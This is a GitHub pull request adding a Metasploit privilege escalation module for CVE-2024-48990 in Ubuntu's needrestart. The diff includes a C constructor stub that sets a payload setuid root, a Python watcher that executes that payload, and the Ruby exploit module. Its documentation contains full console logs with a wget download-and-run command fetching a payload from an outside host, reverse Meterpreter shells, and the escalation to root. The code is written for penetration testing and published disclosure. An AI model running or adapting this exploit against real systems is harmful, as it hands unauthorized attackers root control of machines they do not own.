Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ubuntu needrestart LPE (CVE-2024-48990) #19676

Open
wants to merge 8 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions data/exploits/CVE-2024-48990/lib.metasm
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
/*
// system call
#include <stdlib.h>
// setuid, setgid
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
setuid(0);
setgid(0);
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
system(shell);
}
*/

extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void a(void) __attribute__((constructor));

void __attribute__((constructor)) a() {
setuid(0);
setgid(0);
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
}
17 changes: 17 additions & 0 deletions data/exploits/CVE-2024-48990/sleeper.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
import os
import time
import pwd

print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")

while True:
try:
file_stat = os.stat('PAYLOAD_PATH')
except FileNotFoundError:
exit()
username = pwd.getpwuid(file_stat.st_uid).pw_name
#print(f"Payload owned by: {username}. Stats: {file_stat}")
if (username == 'root'):
os.system('PAYLOAD_PATH &')
exit()
time.sleep(1)
140 changes: 140 additions & 0 deletions documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
## Vulnerable Application

Local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.

Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

Exploitation against vulnerable needrestart versions on
Debian 12 and Fedora 39 were unsuccessful
however install and run instructions are listed below.

### Debian

Install: `apt-get install needrestart=3.6-4+deb12u1`

Binary location: `/usr/sbin/needrestart`

### Fedora 39

Install: `dnf install needrestart-3.6-9.fc39.noarch`

Binary location: `/usr/sbin/needrestart`

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get an initial shell
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
5. Do: `set lhost <ip>`
6. Do: `set lport <port>`
7. Do: `set session <session>`
8. Do: `run`
9. You should get a root shell.

## Options

## Scenarios

### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

Gain initial shell

```
msf6 > use exploit/multi/script/web_delivery
998
run[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(multi/script/web_delivery) > set lport 4998
lport => 4998
msf6 exploit(multi/script/web_delivery) > set srvport 8998
srvport => 8998
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4998
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500

msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: h00die
meterpreter > background
[*] Backgrounding session 1...
```

Priv Esc

```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
lport => 4977
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
session => 1
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
verbose => true
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run

[*] Started reverse TCP handler on 1.1.1.1:4977
[*] Running automatic check ("set AutoCheck false" to disable)

[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
[*] Uploading payload: /tmp/.1K8Hy2tOtq
[*] Creating directory /tmp/importlib
[*] /tmp/importlib created
[*] Uploading c_stub: /tmp/importlib/__init__.so
[*] Uploading py_script: /tmp/.FzzlJ
[*] Launching exploit, and waiting for needrestart to run...
```

On the remote Ubuntu box run `sudo needrestart`

```
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
[*]
[*] Traceback (most recent call last):
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
[*] exec(line)
[*] File "<string>", line 1, in <module>
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
h00die marked this conversation as resolved.
Show resolved Hide resolved
[*]
[*] Remainder of file ignored
[*] #########################
[*]
[*] Dont mind the error message above
[*]
[*] Waiting for needrestart to run...
[*] Payload owned by: root
[+] Deleted /tmp/.1K8Hy2tOtq
[+] Deleted /tmp/.FzzlJ
[+] Deleted /tmp/importlib
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500

meterpreter >
meterpreter > getuid
Server username: root
```
174 changes: 174 additions & 0 deletions modules/exploits/linux/local/ubuntu_needrestart_lpe.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,174 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Linux::Kernel
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ubuntu needrestart Privilege Escalation',
'Description' => %q{
Local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.

Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
Attempted exploitation against Debian 12, expliotation failed
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'makuga01', # PoC
'qualys' # original advisory
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Stance' => Msf::Exploit::Stance::Passive, # seems to not work...
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
[ 'CVE', '2024-48990']
],
'DisclosureDate' => '2024-11-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def check
# fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f
# debian https://security-tracker.debian.org/tracker/CVE-2024-48990
fixed_versions = {
'24.10' => Rex::Version.new('3.6-8ubuntu4.2'),
'24.04' => Rex::Version.new('3.6-7ubuntu4.3'),
'22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
'20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
'18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
'12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
'11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
# may be more versions, but this felt good enough
'38' => Rex::Version.new('3.8-1'),
'39' => Rex::Version.new('3.8-1'),
'40' => Rex::Version.new('3.8-1'),
'41' => Rex::Version.new('3.8-1')
}
info = get_sysinfo
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro]

if info[:distro] == 'ubuntu'
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
elsif info[:distro] == 'debian'
return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it')
elsif info[:distro] == 'fedora'
return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it')
end

return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')

package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
package = package.split(' ')[2]
package = package.gsub('+', '.')
# next line will need to be included if we want to support fedora
# package = package.gsub('needrestart-', '') # fedora specific
package = Rex::Version.new(package)
return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil

return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]

CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# upload payload
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
vprint_status("Uploading payload: #{payload_path}")
register_files_for_cleanup(payload_path)

# our c stub file does our chmod/chown/suid for the payload
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wouldn't it be better to use metasploit's options/features to prepend the setuid call to the payload, instead of having it in the stub?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it may be possible, this was a copy of the PoC with no additions.

However, I'm not sure if it would work since the c_stub is originally called by the python script itself. It fails to do the chmod etc. The python stub then waits watching for our payload to get modified.

needrestart is run by sudo/root/etc, which then runs our c_stub, changes the permissions. It may be possible to modify c_stub so that it executes the payload directly only if it detects itself running as root. That would take out some system complexity, but i may need some @zeroSteiner (or other r7) on updating the code to work in metasm (updated code coming soon).

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

looks like this can be refined some more, further testing will happen this week

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I thought we may be able to launch the payload from the .so file directly, but even w/ threading (prepend_thread, and with &) , it freezes needrestart. Its a delicate tradeoff between the python script and .so file, so I think this is a good strategy for now. We've already improved on the original PoC by cutting out the build file, and using metasm to avoid the need for gcc/build-essential

c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm'))
c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path)

case kernel_arch
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end

begin
c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib)
c_stub_path = "#{base_dir}/importlib/__init__.so"
rescue StandardError
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end

mkdir "#{base_dir}/importlib"
write_file(c_stub_path, c_stub)
vprint_status("Uploading c_stub: #{c_stub_path}")
register_files_for_cleanup(c_stub_path)
register_dir_for_cleanup("#{base_dir}/importlib")

# the python script is needed for having the PYTHONPATH set and watches
# for our payload to be modified, then run it
py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py'))
py_script = py_script.gsub('PAYLOAD_PATH', payload_path)

py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
write_file py_stub_path, py_script
vprint_status("Uploading py_script: #{py_stub_path}")
register_files_for_cleanup(py_stub_path)

# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 90_000 # 25 hours
print_status 'Launching exploit, and waiting for needrestart to run...'
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end
Loading